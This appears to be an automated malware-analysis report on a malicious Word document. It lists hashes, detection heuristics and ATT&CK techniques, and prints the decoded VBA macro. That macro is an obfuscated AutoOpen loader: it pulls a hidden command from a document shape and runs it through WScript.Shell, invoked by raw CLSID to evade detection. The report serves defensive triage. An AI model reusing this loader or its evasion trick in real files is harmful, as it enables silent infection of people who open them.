Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 05cc4476eb3ba9ce…

MALICIOUS

Office (OLE)

129.5 KB Created: 2018-11-27 21:08:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 739e15b9e1f8123910fd852b2acaf666 SHA-1: 8e6f4533ef8519dbea0830e5c0b34abab2eaae18 SHA-256: 05cc4476eb3ba9ce333ab8d21cd7a79114c62ea73a6f902cc41084df1a08de2b
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1218.011 System Binary Proxy Execution: Rundll32 T1059.003 Windows Command Shell T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains VBA macros that utilize the dangerous `WScript.Shell` COM object to execute a command. This command, when deobfuscated, reveals a PowerShell execution that attempts to download and run a second-stage payload from a series of concatenated URLs. The AutoOpen macro and the use of `GetObject` further indicate malicious intent.

Heuristics 10

  • ClamAV: Doc.Malware.Powload-6827912-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Powload-6827912-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
    Matched line in script
    Set sTriKPpEu = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + tzYjtW)
   On Error Resume Next
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set sTriKPpEu = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + tzYjtW)
   On Error Resume Next
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6016 bytes
SHA-256: 0ed6b60cad437bf6943637c3a8daafd40264f30952169cf6a3a945ba617d67f3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
86 of 141 identifiers look randomly generated (e.g. 'jkjQbdJDi') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "TMrkPlA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
      Select Case nKCHWu
         Case 314225553
REIvv = Hex(zUhjZC)
            zLERQX = Cos(223964602)
            TRaUEzfE = 121763573
         Case 261518072
NWLPpZiXX = Hex(DqCRzowwq)
            XNSzm = Sqr(223708615 / CSng(181299475 - Cos(281463566 - 125198893) + POvdow + Rnd(258247617 - 319174944)))
            rizKjP = Hex(YCFJhGc)
End Select

   On Error Resume Next
      Select Case zwoNG
         Case 175550103
OjidKi = Hex(ajmBhFp)
            uTjzrzwnw = Cos(34375498)
            wLztpw = 271314414
         Case 2477364
MFwnwdf = Hex(ninjPCD)
            dGjNSsf = Sqr(157609371 / CSng(284911953 - Cos(210719433 - 79748993) + pzCsFLi + Rnd(270457525 - 148455809)))
            BOTSAQRji = Hex(vYLrG)
End Select

   On Error Resume Next
      Select Case jzZDIfY
         Case 195887290
AwWjQ = Hex(ZGvVbBjTo)
            biaFh = Cos(193137214)
            iGfKwiAFk = 58605975
         Case 33648512
rWsDK = Hex(kziYZz)
            ltjzzYbX = Sqr(325855887 / CSng(258592911 - Cos(169270936 - 245164906) + aXuQqtbP + Rnd(320535881 - 260502099)))
            iPlwiQKh = Hex(iNpTHnkd)
End Select

   On Error Resume Next
      Select Case PiKkVEipj
         Case 169513881
mltLbKS = Hex(VOXWEUIM)
            EzAhX = Cos(157456631)
            VifkDSN = 341237409
         Case 288827828
ZBYpn = Hex(fLMir)
            FPNsb = Sqr(240342036 / CSng(216209631 - Cos(164769068 - 325076552) + NOptfh + Rnd(238957300 - 18318955)))
            XiwvH = Hex(NQvUVKpm)
End Select

Set PXLqdSS = Shapes("wwUiYjcaM")
   On Error Resume Next
      Select Case jVuRGc
         Case 62975910
OhFPhXiJ = Hex(CzLPSSjn)
            AzPhiER = Cos(62599017)
            vVsSjNXwH = 206288411
         Case 19593862
qrMhqCuDQ = Hex(LdfcL)
            jwBwYi = Sqr(230745325 / CSng(259993889 - Cos(315343634 - 240069568) + wrVKEk + Rnd(208270630 - 62137329)))
            DArBW = Hex(csKOn)
End Select

bJiwwc = "" + PJdEX + ZlGow + PXLqdSS.TextFrame.TextRange.Text + sHtzSFOj + bSCqdhzG
   On Error Resume Next
      Select Case SIPDRL
         Case 3167370
crkhNzpf = Hex(YosbO)
            NAojTi = Cos(67262469)
            uqauE = 185140920
         Case 247657338
DrdOSll = Hex(ANzSlK)
            nEvCD = Sqr(187028664 / CSng(187816416 - Cos(218873350 - 15570860) + mprnEl + Rnd(25299906 - 104988147)))
            lAzzu = Hex(OXjFkrT)
End Select

   On Error Resume Next
      Select Case ncqplKbzk
         Case 47971642
uohiJWNpl = Hex(jzPUYPQ)
            ClvTLF = Cos(335759634)
            khvhCdW = 212062023
         Case 259993361
cINfBqj = Hex(HdaUMu)
            fiVCac = Sqr(188008983 / CSng(233023080 - Cos(222599312 - 251266400) + tDbCdjhB + Rnd(257995448 - 53173411)))
            WkFjv = Hex(VAPUAVWvA)
End Select

   On Error Resume Next
      Select Case OYuCKE
         Case 179509213
dfDrP = Hex(wKOZwJ)
            PXsNbsaIA = Cos(112736752)
            FSkEZV = 227034674
         Case 233707858
pzMvubAt = Hex(vPDiOzBCp)
            MAucOomz = Sqr(182348749 / CSng(289622094 - Cos(242573929 - 294252594) + MXKPLzSAs + Rnd(215963956 - 75948399)))
            BKWDk = Hex(XfzXk)
End Select

   On Error Resume Next
      Select Case YVqZM
         Case 64247105
AtWwwC = Hex(mjhJc)
            aTrIWGwT = Cos(270714333)
            Qhrch = 266697035
         Case 176200267
szQzhSs = Hex(LoibCJsG)
            EiiDFNw = Sqr(72590518 / CSng(246730006 - Cos(43646092 - 117618199) + ZVwFL + Rnd(110925152 - 192901146)))
            amYQmv = Hex(kNFHo)
End Select

Set sTriKPpEu = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + tzYjtW)
   On Error Resume Next
      Select Case LVKwXLD
         Case 328464014
zYlSCUUD = Hex(XoobltXt)
            zPJXN = Cos(170814519)
            wSYZFCFFW = 314369590
         Case 316532397
JGYwrzr = Hex(jkjQbdJDi)
            ZLLTGBv = Sqr(200172338 / CSng(200427274 - Cos(136924903 - 232792512) + EpzzjvaR + Rnd(120748192 - 157310558)))
            iSLiHwb = Hex(BXwVkMqAX)
End Select

Const RkXlasdp = 0
   On Error Resume Next
      Select Case njENW
         Case 311023780
qVqRGRWMO = Hex(jcuEOXCL)
            RwYcka = Cos(66799475)
            vfOaTTFI = 216999679
         Case 61465550
UVGrIzkOV = Hex(ZJCCCdzRs)
            qwiaj = Sqr(151900 / CSng(94634990 - Cos(89436676 - 60511179) + vhNFqwKG + Rnd(107251246 - 206791666)))
            LolWW = Hex(YQpFro)
End Select

   On Error Resume Next
      Select Case zaZEpYOS
         Case 223804275
jtfWj = Hex(XiWCYjfia)
            ZicjQu = Cos(41803654)
            iuXTbl = 106620847
         Case 219313503
WqsmVSpw = Hex(oCOOv)
            dczfpBppm = Sqr(96221498 / CSng(261634855 - Cos(266057239 - 122579271) + Clmrz + Rnd(56286925 - 263473732)))
            aEQnjOFD = Hex(Uzcpz)
End Select

   On Error Resume Next
      Select Case oUukq
         Case 35752782
PjSva = Hex(XaGoBTZB)
            zsCiO = Cos(202743273)
            JWzKFUzSC = 12630467
         Case 274492885
zYkCAjINi = Hex(fLwFlUCh)
            qZQXvz = Sqr(105082529 / CSng(214283243 - Cos(23509120 - 179741470) + mzdZCdPp + Rnd(15470181 - 309503076)))
            RPbqm = Hex(AiiQUp)
End Select

sTriKPpEu.Run# bJiwwc, RkXlasdp
   On Error Resume Next
      Select Case aPMLWNp
         Case 182459235
bQpbAUtZm = Hex(wzlzutpwt)
            bYzOaj = Cos(158523348)
            lzWOQLY = 3831224
         Case 143716721
wnDEU = Hex(kipSRS)
            QwLWCRaA = Sqr(108130003 / CSng(318683607 - Cos(103459751 - 263237476) + ajiZYuXl + Rnd(4674533 - 39131188)))
            XEoivu = Hex(LTPGS)
End Select

End Sub

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